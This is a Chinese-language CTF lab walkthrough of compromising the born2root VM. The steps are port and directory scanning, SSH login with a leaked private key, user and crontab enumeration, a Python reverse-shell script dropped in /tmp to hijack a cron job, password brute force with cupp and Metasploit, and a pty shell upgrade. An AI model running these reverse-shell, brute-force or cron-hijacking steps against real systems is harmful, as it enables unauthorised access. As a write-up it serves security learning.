AqYoung

分享渗透知识与技巧

0%

CTF-SSH私钥泄露CTF-SSH服务测试

一、实验环境

攻击机:kali linux(192.168.43.153)NAT模式
靶机:born2root 后面找机会把链接补上(192.168.0.6)桥接模式

二、实验过程

1、当我们拿到目标主机的ip地址先用zenmap进行端口扫描

发现开启了22端口和80端口,接下来首先对80端口进行探测

2、用dirb进行目录扫描发现

打开链接存在得到几个有用的信息

  • 可能作为ssh的登陆名
  • 得到RSA的私钥

3、用上面得到的rsa私钥和用户名尝试登陆

结果比较幸运的是用martin成功登陆了目标主机,不过只是一个普通的权限

4、接下来对得到的靶机进行扩大战果

  • 查看/home目录下的用户

  • 查看/root目录是否存flag.txt

  • 查看/tmp

    发现了其他的用户,与之前判断的信息相符合

  • cat/etc/passwd 查看所有用户的列表cat/etc/group

  • 挖掘/etc/crontab下是否有某个用户的定时计划文件

    发现存在定时执行”.py”文件,但是/tmp里面呢并没有这个文件,于是我们尝试编写一个“反弹的shell”

    sekurity.py里面的内容为:
    #/usr/bin/python
    import os,subprocess,socket
    s=socket.socket()
    s.connect(“攻击机ip地址”,”攻击机监听端口”)
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call([“/bin/sh”,”-i”])


    开启监听
    这里因为我的kali是用NAT,而靶机用的桥接模式,所以并没有收到反弹的shell

6、尝试对hadi账户ssh进行暴力破解
pass_file文件的准备
使用cupp进行个性化的密码生成


生成后,我们会在其路径下有一个txt文件

使用msfconsole进行ssh登陆
使用对应的模块

设置参数

run

进入sessions

我们可以看到会话比较简陋
Python的模块进行优化

python -c “import pty;pty.spawn(‘/bin/bash’)”

7、成功提权拿到flag

三、总结

(1)、初步嗅探

  • nmap主机发现、端口扫描
  • 目录扫描,查找敏感目录“‘robots.txt等”

(2)、扩大战果
登录服务器之后,我们需要做以下操作。

  • 1、查看当前用户whoami
  • 2、id查看当前用户的权限
  • 3、查看根目录寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组;

  • cat/etc/passwd 查看所有用户的列表cat/etc/group
  • 查看用户组 find/-user 用户名
  • 查看属于某些用户的文件 /tmp 查看缓冲文件目录

(3)、深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roo权限。
挖掘/etc/crontab下是否有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

(4)、具体思路
在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
CTF中要特别注意/tmp数据缓冲目录以及/etc/crontab设置定时执行的文件